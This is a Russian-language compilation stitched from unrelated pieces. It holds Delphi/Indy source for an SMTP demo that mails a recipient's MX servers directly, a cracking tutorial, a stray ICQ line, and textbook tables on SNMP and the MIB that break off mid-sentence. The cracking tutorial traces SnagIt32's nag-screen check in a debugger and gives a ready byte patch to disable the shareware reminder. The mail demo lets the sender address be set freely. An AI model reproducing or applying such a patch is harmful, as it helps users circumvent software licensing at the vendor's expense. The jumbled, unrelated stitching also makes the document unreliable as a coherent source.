  fmailServers.clear;
  Result := true;
  with IdDNSResolver do
  begin
    QueryResult.Clear;
    QueryRecords := [qtMX];
    Msg('Setting up DNS query parameters');
    Host := edtDNS.text;
    ReceiveTimeout := StrToInt(edtTimeOut.text);
    // Extract the domain part from recipient email address
    LDomainPart := copy(edtRecipient.text, pos('@', edtRecipient.text) + 1,
      length(edtRecipient.text));
    // the domain name to resolve
    try
      Msg('Resolving DNS');
      Resolve(LDomainPart);
      if QueryResult.Count > 0 then
      begin
        for i := 0 to QueryResult.Count - 1 do
        begin
          LMXRecord := TMXRecord(QueryResult.Items[i]);
          fMailServers.Append(PadZero(IntToStr(LMXRecord.Preference)) + '=' +
            LMXRecord.ExchangeServer);
        end;
        // sort in order of priority and then remove extra data
        fMailServers.Sorted := false;
        for i := 0 to fMailServers.count - 1 do
        begin
          x := pos('=', fMailServers.Strings[i]);
          if x > 0 then
            fMailServers.Strings[i] :=
              copy(fMailServers.Strings[i], x + 1,
                length(fMailServers.Strings[i]));
        end;
        fMailServers.Sorted := true;
        fMailServers.Duplicates := dupIgnore;
        Result := true;
      end
      else
      begin
        Msg('No response from DNS server');
        MessageDlg('There is no response from the DNS server !', mtInformation,
          [mbOK], 0);
        Result := false;
      end;
    except
      on E: Exception do
      begin
        Msg('Error resolving domain');
        MessageDlg('Error resolving domain: ' + e.message, mtInformation,
          [mbOK], 0);
        Result := false;
      end;
    end;
  end;
end;
// Used in DNS preferance sorting
procedure TfrmMain.LockControls;
var
  i: integer;
begin
  edtDNS.enabled := false;
  edtSender.enabled := false;
  edtRecipient.enabled := false;
  edtSubject.enabled := false;
  mmoMessageText.enabled := false;
  btnExit.enabled := false;
  btnSendMail.enabled := false;
end;
procedure TfrmMain.UnlockControls;
begin
  edtDNS.enabled := true;
  edtSender.enabled := true;
  edtRecipient.enabled := true;
  edtSubject.enabled := true;
  mmoMessageText.enabled := true;
  btnExit.enabled := true;
  btnSendMail.enabled := true;
end;
function TfrmMain.PadZero(s: string): string;
begin
  if length(s) < 2 then
    s := '0' + s;
  Result := s;
end;
procedure TfrmMain.SendMail;
var
  i: integer;
begin
  if GetMailServers then
  begin
    with IdMessage do
    begin
      Msg('Assigning mail message properties');
      From.Text := edtSender.text;
      Sender.Text := edtSender.text;
      Recipients.EMailAddresses := edtRecipient.text;
      Subject := edtSubject.text;
      Body := mmoMessageText.Lines;
    end;
    for i := 0 to fMailServers.count - 1 do
    begin
      Msg('Attempting to send mail');
      if SendMail(fMailServers.Strings[i]) then
      begin
        MessageDlg('Mail successfully sent and available for pickup by recipient !',
          mtInformation, [mbOK], 0);
        Exit;
      end;
    end;
    // if we are here then something went wrong .. 
    // ie there were no available servers to accept our mail!
    MessageDlg('Could not send mail to remote server - please try again later.',
      mtInformation, [mbOK], 0);
  end;
  if assigned(fMailServers) then
    FreeAndNil(fMailServers);
end;
function TfrmMain.SendMail(aHost: string): Boolean;
begin
  Result := false;
  with IdSMTP do
  begin
    Caption := 'Trying to sendmail via: ' + aHost;
    Msg('Trying to sendmail via: ' + aHost);
    Host := aHost;
    try
      Msg('Attempting connect');
      Connect;
      Msg('Successful connect ... sending message');
      Send(IdMessage);
      Msg('Attempting disconnect');
      Disconnect;
      msg('Successful disconnect');
      Result := true;
    except on E: Exception do
      begin
        if connected then
        try
          disconnect;
        except
        end;
        Msg('Error sending message');
        result := false;
        ShowMessage(E.Message);
      end;
    end;
  end;
  Caption := '';
end;
function TfrmMain.ValidData: Boolean;
var
  ErrString: string;
begin
  Result := True;
  ErrString := '';
  if trim(edtDNS.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'DNS server not filled in';
  if trim(edtSender.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'Sender email not filled in';
  if trim(edtRecipient.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'Recipient not filled in';
  if ErrString <> '' then
  begin
    MessageDlg('Cannot proceed due to the following errors:' + #13 + #10 +
      ErrString, mtInformation, [mbOK], 0);
    Result := False;
  end;
end;
procedure TfrmMain.Msg(aMessage: string);
begin
  sbMain.SimpleText := aMessage;
  application.ProcessMessages;
end;
end.

Форма для модуля:

object frmMain: TfrmMain
   Left = 243
   Top = 129
   Width = 448
   Height = 398
   Caption = 'INDY - SMTP Relay Demo'
   Color = clBtnFace
   Font.Charset = DEFAULT_CHARSET
   Font.Color = clWindowText
   Font.Height = -11
   Font.Name = 'MS Sans Serif'
   Font.Style = []
   OldCreateOrder = False
   PixelsPerInch = 96
   TextHeight = 13
   object Label1: TLabel
     Left = 7
     Top = 8
     Width = 311
     Height = 26
     Caption =
        'Demonstrates sending mail directly to a users mailbox on a remot' +
       'e mailserver - this negates the need for a local SMTP server'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
     WordWrap = True
   end
   object Label2: TLabel
     Left = 8
     Top = 64
     Width = 111
     Height = 13
     Caption = 'DNS server IP address:'
   end
   object Label3: TLabel
     Left = 8
     Top = 123
     Width = 104
     Height = 13
     Caption = 'Sender email address:'
   end
   object Label4: TLabel
     Left = 288
     Top = 64
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object Label5: TLabel
     Left = 8
     Top = 150
     Width = 115
     Height = 13
     Caption = 'Recipient email address:'
   end
   object Label6: TLabel
     Left = 8
     Top = 177
     Width = 72
     Height = 13
     Caption = 'Subject of mail:'
   end
   object Label7: TLabel
     Left = 8
     Top = 204
     Width = 66
     Height = 13
     Caption = 'Message text:'
   end
   object Label8: TLabel
     Left = 8
     Top = 91
     Width = 95
     Height = 13
     Caption = 'DNS server timeout:'
   end
   object Label9: TLabel
     Left = 336
     Top = 124
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object Label10: TLabel
     Left = 336
     Top = 148
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object sbMain: TStatusBar
     Left = 0
     Top = 352
     Width = 440
     Height = 19
     Panels = <>
   end
   object edtDNS: TEdit
     Left = 128
     Top = 60
     Width = 153
     Height = 21
     TabOrder = 1
   end
   object edtSender: TEdit
     Left = 128
     Top = 119
     Width = 205
     Height = 21
     TabOrder = 2
   end
   object edtRecipient: TEdit
     Left = 128
     Top = 146
     Width = 205
     Height = 21
     TabOrder = 3
   end
   object edtSubject: TEdit
     Left = 128
     Top = 173
     Width = 205
     Height = 21
     TabOrder = 4
   end
   object mmoMessageText: TMemo
     Left = 128
     Top = 200
     Width = 205
     Height = 113
     TabOrder = 5
   end
   object btnSendMail: TButton
     Left = 258
     Top = 321
     Width = 75
     Height = 25
     Caption = 'Send mail !'
     TabOrder = 6
     OnClick = btnSendMailClick
   end
   object btnExit: TButton
     Left = 356
     Top = 8
     Width = 75
     Height = 25
     Caption = 'E&xit'
     TabOrder = 7
     OnClick = btnExitClick
   end
   object edtTimeOut: TEdit
     Left = 128
     Top = 87
     Width = 61
     Height = 21
     TabOrder = 8
     Text = '5000'
   end
   object IdMessage: TIdMessage
     AttachmentEncoding = 'MIME'
     BccList = <>
     CCList = <>
     Encoding = meMIME
     Recipients = <>
     ReplyTo = <>
     Left = 12
     Top = 236
   end
   object IdDNSResolver: TIdDNSResolver
     Port = 53
     ReceiveTimeout = 60
     QueryRecords = []
     Left = 12
     Top = 268
   end
   object IdSMTP: TIdSMTP
     MaxLineAction = maException
     ReadTimeout = 0
     Port = 25
     AuthenticationType = atNone
     Left = 12
     Top = 204
   end
   object IdAntiFreeze: TIdAntiFreeze
     Left = 12
     Top = 300
   end
 end

Исследование SnagIt32 v4.0.1.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Как всегда :) попалась ко мне в руки эта программка, которая очень даже мудрым образом снимает скриншоты и текст любой сложности с экрана, Но и даже может сгенерировать по вашим манипуляциям целый видеофильм, типа "Как я пытался пьяным нажать на Пуск", и всё это сохранить в авишник или gif. Короче программа бесспорно нужная и приятная сердцу. Но (как всегда) возникло одно НО: программа шароварная и постоянно выскакивают напоминания о незарегистрированности. Эти напоминания очень смахивают на обычные Окна. Для начала я попытался стандартными методами, но ничего не смог найти, тогда я вспомнил, что когда хочешь сделать окно видимым (enabled) то надо юзать АПИшную функцию EnableWindow. Так вот, я ставлю в айсе бряк на эту самую функцию: bpx EnableWindow do "p ret" выхожу из айса и запускаю программу и почти сразу оказываюсь тут:
:0043FF94 FF15F8EF4700            call USER32.EnableWindow
:0043FF9A C745E401000000          mov [ebp-1C], 00000001
посмотрим немного выше в поисках какого-нибудь условного перехода, который уведёт нас далеко от текущей позиции (поближе к ret из функции) И я нашёл такой переход немного выше:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF4D(C)
|
:0043FF59 837DEC00                cmp dword ptr [ebp-14], 00000000 ;перед этим чего-то проверили
:0043FF5D 7508                    jne 0043FF67 ;если мы анрегистред - то прыгаем
:0043FF5F 83C8FF                  or eax, FFFFFFFF
:0043FF62 E9EC000000              jmp 00440053 ;иначе прыгаем на выход из функции и никакого напоминания не показываем
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF5D(C)
|
:0043FF67 8BCE                    mov ecx, esi
:0043FF69 E81AFFFFFF              call 0043FE88
:0043FF6E 8BF8                    mov edi, eax
:0043FF70 897DE0                  mov dword ptr [ebp-20], edi
:0043FF73 E8480D0000              call 00440CC0
:0043FF78 57                      push edi
:0043FF79 E8E5070000              call 00440763
:0043FF7E 8365E400                and dword ptr [ebp-1C], 00000000
:0043FF82 85FF                    test edi, edi
:0043FF84 741B                    je 0043FFA1
:0043FF86 57                      push edi
* Reference To: USER32.IsWindowEnabled, Ord:0168h ;проверяют активно ли главное окно
                                  |
:0043FF87 FF15D0EF4700            Call dword ptr [0047EFD0]
:0043FF8D 85C0                    test eax, eax
:0043FF8F 7410                    je 0043FFA1 ;если нет то прыгаем....
:0043FF91 6A00                    push 00000000
:0043FF93 57                      push edi
* Reference To: USER32.EnableWindow, Ord:00B2h ;...иначе - делаем его неактивным
                                  |
:0043FF94 FF15F8EF4700            Call dword ptr [0047EFF8]
:0043FF9A C745E401000000          mov [ebp-1C], 00000001
Как оказалось напоминание показывается не функцией enablewindow, а чем-то другим, а enablewindow назначалась главному окну, которое должно было бы стать disabled, когда появится окно напоминания!!! Но нам повезло, и место проверки "А нужно ли напоминание" оказалось рядом, а именно по адресу:
:0043FF5D 7508                    jne 0043FF67
тут нужно, чтобы мы никогда не прыгали, т.е. поменяем команду jne 0043FF67 на jne 0043FF5F. Можете проверить - при старте никакого напоминания нет! Ура. Теперь я могу не отвлекаться на то, чтобы каждый раз закрывать окно с напоминаниями! Ну а для тех, у кого нифига не получилось, как всегда готовый крак:
-------вырезать тут-----------
SnagIt32 v [4.0.1] CRACK by vallkor//PTDS
it'll remove all nag screens!!! 
snagit32.exe
0003F35E: 08 00
------вырезать тут------------
ВсЁ! исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru)

Управляющий протокол SNMP.

ICQ - мощное средство международного сношения.

Internet - гигантская сеть. Напрашивается вопрос, как она сохраняет свою целостность и функциональность без единого управления? Если учесть разнородность ЭВМ, маршрутизаторов и программного обеспечения, используемых в сети, само существование Internet представится просто чудом. Так все же как решаются проблемы управления в Internet? Отчасти на этот вопрос уже дан ответ - сеть сохраняет работоспособность благодаря жесткой протокольной регламентации.

"Запас прочности" заложен в самих протоколах. Функции диагностики возложены, на протокол ICMP. Учитывая важность функции управления, для этих целей создано два протокола SNMP ( Simple Network Management Protocol - 1988г. ) и CMOT ( Common Management Information Services and Protocol over TCP/IP). Чаще всего управляющая прикладная программа воздействует на сеть по цепочке SNMP-UDP-IP-физическая_сеть. Наиболее важным объектом управления обычно является внешний порт сети или маршрутизатор. Каждому управляемому объекту присваивается уникальный идентификатор.

Протокол SNMP работает на базе протокола UDP и предназначен для использования сетевыми управляющими станциями. Он позволяет управляющим станциям собирать информацию о положении в сети Internet. Протокол определяет формат данных, их обработка и интерпретация остаются на усмотрение управляющих станций или менеджера сети. SNMP-сообщения не имеют фиксированного формата и фиксированных полей. При работе протокол SNMP использует управляющую базу данных (MIB — Management Information Base, RFC-1213,-1212).

Алгоритмы управления в Internet обычно описывают в нотации ASN.1 (Abstract Syntax Notation). Все объекты в Internet разделены на 10 групп и описаны в MIB: система, интерфейсы, обмены, трансляция адресов, IP, ICMP, TCP, UDP, EGP, SNMP. В группу "система" входит название и версия оборудования, операционной системы, сетевого программного обеспечения и пр. В группу "интерфейсы" входит число поддерживаемых интерфейсов, тип интерфейса, работающего под управлением IP (Ethernet, LAPB и т.д.), размер дейтограмм, скорость обмена, адрес интерфейса. IP-группа включает время жизни дейтограмм, информацию о фрагментации, маски субсетей и т.д. В TCP-группу входит алгоритм повторной пересылки, максимальное число повторных пересылок и пр. Команды SNMP приведены в табл. 1.15. В таблице PDU (Protocol Data Unit) - это тип протокольного сообщения.

Команда SNMP Тип PDU Назначение
get_request 0 Получить значение указанной переменной или информацию о состоянии сетевого элемента
get_next_request 1 Получить значение переменной, не зная точного ее имени (следующий логический идентификатор на дереве MIB)
set_request 2 Присвоить переменной соответствующее значения. Используется для описания действие, которое должно быть выполнено
get_response 3 Отклик на get_request, get_next_request и set_request, Содержит также информацию о состоянии (коды ошибок и другие данные)
trap 4 Отклик сетевого объекта на событие или на изменение состояния
Таблица 1.15.

Поле Версия содержит значение, равное номеру версии SNMP минус один. Поле Пароль (community - определяет группу доступа) содержит последовательность символов, которая является пропуском при взаимодействии менеджера и объекта управления. Обычно это поле содержит 6-байтовую строку public. Для запросов get, get-next и set значение поля Идентификатора запроса устанавливается менеджером и возвращается объектом управления в отклике get, что позволяет связывать в пары запросы и отклики. Поле Фирма (enterprise) = sysObjectlD объекта. Поле Статус ошибки характеризуется целым числом, присланным объектом управления (табл.1.16).

В последнее время широкое распространение получила идеология распределенного протокольного интерфейса DPI (Distributed Protocol Interface). Для транспортировки SNMP-запросов используется не только UDP-, но и TCP-протокол. Это дает возможность применять SNMP-протокол не только в локальных сетях. Форматы SNMP-DPI-запросов (версия 2.0) описаны в документе RFC-1592. Пример заголовка SNMP-запроса (изображенные поля образуют единый массив):

Поле Флаг = 0хЗ0 является признаком ASN.1-заголовка. Коды Ln представляют собой длины полей, начинающиеся с байта, который следует за кодом длины, вплоть до конца сообщения-запроса (n — номер поля длины), если не оговорено другое. Так, L1 - длина пакета-запроса от Т1 до конца пакета, a L3 — длина поля пароля. Субполя Tn — поля типа следующего за ними субполя запроса. Так, Т1=2 означает, что поле характеризуется целым числом, а Т2=4 указывает на то, что далее следует пароль (поле community, в приведенном примере Public). Цифры под рамками означают типовые значения субполей. Код ОхА является признаком GET-запроса, за ним следует поле кода PDU (=0...4, см. табл. 1.15). Блок субполей Идентификатора запроса служит для тех же целей, что и другие идентификаторы, — для определения пары запрос-отклик. Собственно идентификатор запроса может занимать один или два байта, что определяется значением Lиз. CO — статус ошибки (СО=0 - ошибки нет); ТМ — тип MIB-переменной (в приведенном примере Ох2В); ИО — индекс ошибки. Цифровой код MIB-переменной отображается последовательностью цифровых субполей, характеризующих переменную. Например, переменная 1.3.6.1.2.1.5 (в символьном выражении iso.org.dod.internet.mgmt.mib.icmp) соответствует последовательности кодов Ох2В 0хО6 0хО1 0хО2 0хО1 0хО5 0хО0.

Статус ошибки Имя ошибки Описание
0 noError Все в порядке
1 tooBig Объект не может уложить отклик в одно сообщение
2 noSuchName В операции указана неизвестная переменная
3 badValue в команде set использована недопустимая величина или неправильный синтаксис
4 readOnly менеджер попытался изменить константу
5 genErr Прочие ошибки
Таблица 1.16.

Если произошла ошибка, поле Индекс ошибки характеризует к какой из переменных это относится; индекс ошибки является указателем переменной и устанавливается объектом управления не равным нулю для ошибок badValue. Для команды trap (тип PDU-4 в табл. 1.15) формат сообщения меняется. Значения поля Тип trap приведены в табл. 1.17.

Тип trap Имя trap Описание
0 coldStart Установление начального состояния объекта
1 wannStart Восстановление начального состояния объекта
2 linkDown Интерфейс выключился. Первая переменная в сообщении идентифицирует интерфейс
3 linkUp Интерфейс включился. Первая переменная в сообщении идентифицирует интерфейс
4 authenticationFailure От менеджера получено SNMP-сообщение с Неверным паролем (community)
5 egpNeighborLoss EGP-партнер отключился. Первая переменная в сообщении определяет IP-адрес партнера
6 entrpriseSpeclfic Информация о trap содержится в поле Специальный код
Таблица 1.17.

Для поля Тип trap 0…4 поле Специальный код должно быть равно нулю. Поле Временная метка содержит число сотых долей секунды (число тиков) с момента инициации объекта управления. Так, прерывание coldStart выдается объектом через 200 мс после инициализации.

Протокол SNMP служит примером системы управления, в которой для достижения нужного результата не выдается команда, а осуществляется обмен информацией, решение принимается "на месте" в соответствии с полученными данными.

Управляющая база данных MIB

Вся управляющая информация для контроля ЭВМ и маршрутизаторов Internet концентрируются в базе данных MIB (Management Information Base, RFC-1213). Именно эти данные используются протоколом SNMP. MIB определяет, например, что программное обеспечение IP должно хранить число всех октетов, которые приняты любым из сетевых интерфейсов, управляющие программы могут только читать эту информацию.

Согласно нормативам MIB управляющая информация делится на 8 категорий (табл. 1.18).

MIB-категория Описание
System Операционная система ЭВМ или маршрутизация
Interfaces Сетевой интерфейс
Addr. trans. Преобразование адреса (напр., с помощью ARP)
Ip Программная поддержка протоколов Internet
Icmp Программное обеспечение протокола ICMP
Tcp Программное обеспечение протокола TCP
Udp Программное обеспечение протокола UDP
egp Программное обеспечение протокола EGP
Таблица 1.18.

В табл. 1.19 - 1.24 представлены наиболее важные объекты базы данных MIB, перечисленные в табл. 1.18.

Помимо простых переменных объектами MIB могут быть таблицы. Для каждой таблицы имеется один или несколько индексов.

Системная переменная Описание
SysDescr Текстовое описание объекта
SysObjectID Идентификатор производителя в рамках дерева (1.3.6.1.4.1)
SysUpTime Время с момента последней загрузки системы (TimeTicks)
SysContact Имя системного менеджера и способы связи с ним
SysName Полное имя домена
SysLocation Физическое местоположение системы
sysService Величина, характеризует услуги, предоставляемые узлом (сумма номеров уровней модели OSI)
Таблица 1.19.
Переменная описания интерфейсов (ifTable) Тип данных Описание
IfIndex INTEGER Список интерфейсов от 1 до ifNumber
IfDescr DisplayString Текстовое описание интерфейса
IfType INTEGER Тип интерфейса, например, 6 - Ethernet; 9 - 802.5 маркерное кольцо; 23 - PPP; 28 - SLIP
IfNumber INTEGER Число сетевых интерфейсов
IfMtu INTEGER MTU для конкретного интерфейса
IfSpeed Gauge Скорость (бит/с)
IfPhysAddress PhysAddress Физический адрес или строка нулевой длины для интерфейсов без физического адреса (например, последовательный)
IfAdminStatus [1…3] Требуемое состояние интерфейса: 1 - включен; 2 - выключен; 3 - тестируется
IfOperStatus [1…3] Текущее состояние интерфейса: 1, 2, 3
IfLastChange TimeTicks SysUpTime, когда интерфейс оказался в данном состоянии
ifInOctets Counter Полное число полученных байтов
ifInUcastPkts Counter Число пакетов, доставленных на верхний системный уровень (unicast)
ifInDiscads Counter Число полученных, но отвергнутых пакетов
ifInErrors Counter Число пакетов, полученных с ошибкой
ifOutOctets Counter Число отправленных байтов
ifOutUcastPkts Counter Число unicast-пакетов, полученных с верхнего системного уровня
ifOutNUcastPkts Counter Число мультикастинг- и широковещательных пакетов, полученных с верхнего системного уровня
ifOutDiscads Counter Количество отвергнутых пакетов из числа отправленных
ifOutErrors Counter Число отправленных пакетов, содержащих ошибки
ifOutQLen Gauge Число пакетов в очереди на отправку
Таблица 1.20.
Переменная ip-группы Тип данных Описание
ipDefaultTTL INTEGER Значение, которое используется IP в поле TTL
ipForwarding [1…2] 1 означает, что система переадресует дейтограммы (2 - нет)
ipInReceives Counter Число полученных дейтограмм
ipForwDatagrams Counter Число переадресованных дейтограмм
ipOutNoRoutes Counter Число неудач при маршрутизации
ipFragOKs Counter Число фрагментированных IP-дейтограмм
ipRoutingTable Таблица IP маршрутов
ipInHdrErrors Counter Число IP-дейтограмм, отвергнутых из-за ошибки в заголовке
ipInAddrErrors Counter Число IP-дейтограмм, отвергнутых из-за неверного адреса места назначения
ipInUnknownProtos Counter Число локально адресованных дейтограмм с неверным кодом протокола
ipInDiscards Counter Число дейтограмм, отвергнутых из-за нехватки места в буфере
ipInDelivers Counter Число доставленных дейтограмм
ipOutRequests Counter Полное число IP-дейтограмм, поступивших для пересылки без учета переадресованных
ipOutDiscards Counter Число отправляемых дейтограмм, потерянных из-за нехватки места в буфере
ipOutNoRoutes Counter Число потерянных IP-дейтограмм из-за отсутствия маршрута их доставки
ipReasmTimeout Counter Максимальное время (в секундах), которое IP-фрагмент может ждать сборки
ipReasmOKs Counter Число IP-дейтограмм, успешно прошедших сборку
ipReasmFails Counter Число случаев, когда алгоритм сборки не сработал
ipFragOKs Counter Число дейтограмм, успешно фрагментированных
ipFragFails Counter Число дейтограмм, которые нуждались в фрагментации, но не могли быть фрагментированы из-за того, что don't fragment_флаг=1
ipFragCreates Counter Число фрагментов, созданных в процессе фрагментации
ipRoutingDiscards Counter Число маршрутных записей, помеченных для ликвидации, хотя они и корректны
IpAdEntAddr Таблица IP-адресов (ipAddrTable), индекс =<ipAdEntAddr>. IpAddress IP-адрес для данного ряда
IpAdEntIfIndex INTEGER Число интерфейсов
IpAdEntNetMask IpAddress Маска субсети для данного IP-адреса
IpAdEntBcastAddr [0…1] Значение младшего бита широковещательного адреса (обычно 1)
IpAdEntReasmMaxSize [0…65535] Размер наибольшей IP-дейтограммы, полученной интерфейсом, которая может быть собрана
Таблица 1.21.
Переменная tcp-группы Тип данных Описание
tcpRtoMin INTEGER Минимальное допустимое время повторной передачи TCP-пакетов
tcpRtoMax INTEGER Максимальное значение тайм-аута (в миллисекундах)
tcpMaxConn INTEGER Максимальное допустимое число TCP-соединений
tcpInSegs Counter Полное число полученных TCP-сегментов
tcpRtoAlgorithm INTEGER Алгоритм, используемый для вычисления тайм-аута: ни один из следующих; постоянное RTO; стандарт MIL-STD-1778; алгоритм Ван Джакобсона
tcpActiveOpens Counter Число переходов из состояния CLOSED в SYN_SENT
tcpPassiveOpens Counter Число переходов из состояния LISTEN в SYN_RCVD
tcpAttemptFails Counter Число переходов из состояния SYN_SENT или SYN_RCVD в CLOSED
tcpEstabResets Counter Число переходов из состояния ESTABLISHED или CLOSE_WAIT в CLOSED
tcpCurrEstab Gauge Число соединений, находящихся в состоянии ESTABLISHED или CLOSE_WAIT
tcpInSegs Counter Полное число полученных сегментов
tcpOutSegs Counter Полное число посланных сегментов, исключая повторно пересылаемые
tcpRetransSegs Counter Полное число повторно пересланных сегментов
tcpInErrs Counter Полное число сегментов, полученных с ошибкой
tcpOutRsts Counter Полное число посланных сегментов с флагом RST=1
tcpConnState [1…12] tcpConnTable TCP-таблица связей. Состояние соединения: CLOSED; LISTEN; SYN_SENT; SYN_RCVD; ESTABLISHED; FIN_WAIT_1; FIN_WAIT_2; CLOSE_WAIT; LAST_ACK; CLOSING; TIME_WAIT; delete TCB. Только последняя переменная может устанавливаться менеджером, прерывая связь
tcpConnLocalAddress IpAddress Местный IP-адрес 0.0.0.0 означает, что приемник готов установить связь через любой из интерфейсов
tcpConnLocalPort [0…65535] Местный номер порта
tcpConnLocalAddress IpAddress Удаленный IP-адрес
tcpConnRemPort [0…65535] Удаленный номер порта
Таблица 1.22.
Переменная icmp-группы Тип данных Описание
icmpInEchos Counter Число полученных ICMP-запросов отклика
icmpInMsgs Counter Полное число полученных ICMP-сообщений
icmpInErrors Counter Число ICMP-сообщений, полученных с ошибками
icmpInDestUnreach Counter Число ICMP-сообщений о недостижимости адресата
icmpInTimeExcds Counter Число ICMP-сообщений об истечении времени
icmpInParmProbs Counter Число полученных ICMP-сообщений о проблемах с параметрами
icmpInSrcQuench Counter Число ICMP-сообщений с требованием сократить или прервать посылку пакетов из-за перегрузки
icmpInRedirects Counter Число ICMP-сообщений о переадресации
icmpInEchoReps Counter Число полученных ICMP-эхо-откликов
icmpInTimestamps Counter Число ICMP-запросов временных меток
icmpInAddrMasks Counter Число ICMP-запросов адресных масок
icmpOutMsgs Counter Число отправленных ICMP-сообщений
icmpOutErrors Counter Число неотправленных ICMP-сообщений из-за проблем (например, нехватка буферов)
icmpOutTimesExcds Counter Число посланных ICMP-сообщений об истечении времени
icmpOutParmProbs Counter Число посланных ICMP-сообщений о проблемах с параметрами
icmpOutQuench Counter Число посланных ICMP-сообщений об уменьшении потока пакетов
icmpOutRedirects Counter Число посланных ICMP-сообщений о переадресации
icmpOutEchos Counter Число посланных ICMP-эхо-запросов
icmpOutEchoReps Counter Число посланных ICMP-эхо-откликов
icmpOutTimestamps Counter Число посланных ICMP-эхо-запросов временных меток
icmpOutAddrMasks Counter Число посланных ICMP-эхо-запросов адресных масок
Таблица 1.23.
Переменные at-группы (atTable) Тип данных Описание
atIfIndex INTEGER Число интерфейсов
atPhysAddress PhysAddress Физический адрес. Если эта переменная равна строке нулевой длины, физический адрес отсутствует
atNetAddress NetworkAddress IP-адрес
Таблица 1.24.

Каждый протокол (например, IP) имеет свою таблицу преобразования адресов. Для IP это ipNetToMediaTable. Способ пропечатать таблицу преобразования с помощью программы snmpi описан ниже.

В новейшей модификации управляющей базы данных (MIB II) содержатся объекты, принадлежащие к SNMP-группе. Эта группа предоставляет информацию о SNMP-объектах, информационных потоках, статистике ошибок (табл. 1.25).

Название объекта Описание
snmpInPkts Число пакетов, полученных от слоя, расположенного ниже SNMP
snmpOutPkts Число пакетов доставленных от SNMP к нижележащему слою
snmpInBadVersions Индицирует число PDU, полученных с ошибкой в поле Версия
snmpInBadCommunityNames Индицирует число сообщений PDU, полученных с нечитаемым или нелегальным именем community
snmpInASNParsErrs Указывает число PDU, которые не могут быть преобразованы в объекты ASN.1, и наоборот
snmpInBadTypes Указывает число полученных PDU с недешифруемым типом
snmpInTooBigs Указывает число полученных PDU со слишком большим значением поля Статус ошибки
snmpInNoSuchNames Указывает число PDU, полученных с индикацией ошибки в поле NoSuchName (см. табл. 1.16)
snmpInBadValues Указывает число PDU, полученных с индикацией ошибки в поле BadValue (см. табл. 1.16)
snmpInReadOnlys Указывает число PDU, полученных с индикацией ошибки в поле ReadOnly (см. табл. 1.16)
snmpInGenErrs Указывает число PDU, полученных в GenErr-поле (см. табл. 1.16)
snmpInTotalReqVar Указывает число объектов MIB, которые были восстановлены
snmpInTotalSetVars Указывает число объектов MIB, которые были изменены
SnmpInGetRequests
snmpInGetNexts
snmpInSetRequests
snmpInGetResposes
snmpInTraps Указывает число соответствующих PDU, которые были получены
snmpOutTooBig Указывает число посланных PDU с полем TooBig
snmpOutNoSuchNames Указывает число посланных PDU с полем NoSuchName
snmpOutBadValues Указывает число посланных PDU с полем BadValue
snmpOutReadOnlys Указывает число посланных PDU с полем ReadOnly
snmpOutGenErrs Указывает число посланных PDU с полем GenErr
snmpEnableAuthTraps Говорит о том, разрешены или нет ловушки (traps)
SnmpOutGetRequests
snmpOutGetNexts
snmpOutSetRequests
snmpOutGetResposes
snmpOutTraps Указывает число соответствующих посланных PDU
Таблица 1.25.

Стандарт на структуру управляющей информации (SMI) требует, чтобы все MIB-переменные были описаны и имели имена в соответствии с ASN.1 (Abstract Syntax Notation 1, формализованный синтаксис). ASN.1 является формальным языком, который обладает двумя основными чертами: нотация в документах легко читаема и понимаема; в компактном кодовом представлении информация может использоваться коммуникационными протоколами. В SMI присутствует неполный набор типов объектов, предусмотренный в ASN.1, разрешены только следующие типы примитивов: INTEGER, OCTET STRING, OBJECT IDENTIFIER и NULL. Практически в протоколе SNMP фигурируют следующие виды данных:

INTEGER. Некоторые переменные объявляются целыми (INTEGER) с указанием начального значения или с заданным допустимымы диапазоном значений (в качестве примера можно привести номера UDP- или TCP-портов). OCTET STRING (последовательность байтов). В соответствии с требованиями BER (Basic Encoding Rules, ASN.1) последовательность октетов должна начинаться с числа байтов в этой последовательности (от 0 до N). OBJECT IDENTIFIER (идентификатор объекта). Имя объекта, представляющее собой последовательность целых чисел, разделенных точками. Например, 1.3.6.1.2.1.5. NULL. Указывает, что соответствующая переменная не имеет значения. DisplayString. Строка из 0 или более байтов (но не больше 255), которые являются ASCII-символами. Представляет собой частный случай OCTET STRING. PhysAddress. Последовательность октетов, характеризующая физический адрес объекта (6 байт для Ethernet). Частный случай OBJECT IDENTIFIER. Сетевой адрес. Допускается выбор семейства сетевых протоколов. В рамках ASN.1 этот тип описан как CHOICE, он позволяет выбрать протокол из семейства протоколов. В настоящее время идентифицировано только семейство протоколов Internet. IP-адрес. Этот адрес используется для определения 32-разрядного Интернет - адреса. В нотации ASN.1 - это OCTET STRING. Time Ticks (такты часов). Положительное целое число, которое используется для записи, например, времени последнего изменения параметров управляемого объекта, или времени последней актуализации базы данных (время измеряется в сотых долях секунды). Gauge (масштаб). Положительное целое число в диапазоне 0..232-1, которое может увеличиваться или уменьшаться. Если это число достигнет 232-1, то будет оставаться неизменным до тех пор, пока не будет обнулено командой сброс. Примером может служить переменная tcpCurrEsta, которая характеризует число TCP-соединений, находящихся в состоянии ESTABLISHED или CLOSE_WAIT. Counter (счетчик). Положительное число в диапазоне 0..232-1, которое может только увеличиваться, допуская переполнение. SEQUENCE. Этот объект аналогичен структуре в языке Си. Например, MIB определяет SEQUENCE с именем UdpEntry, содержащую информацию об активных UDP-узлах. В этой структуре содержится две записи: UdpLocalAddress типа IpAddress; местные IP-адреса; UdpLocalPort типа INTEGER; номера местных портов. SEQUENCE OF. Описание 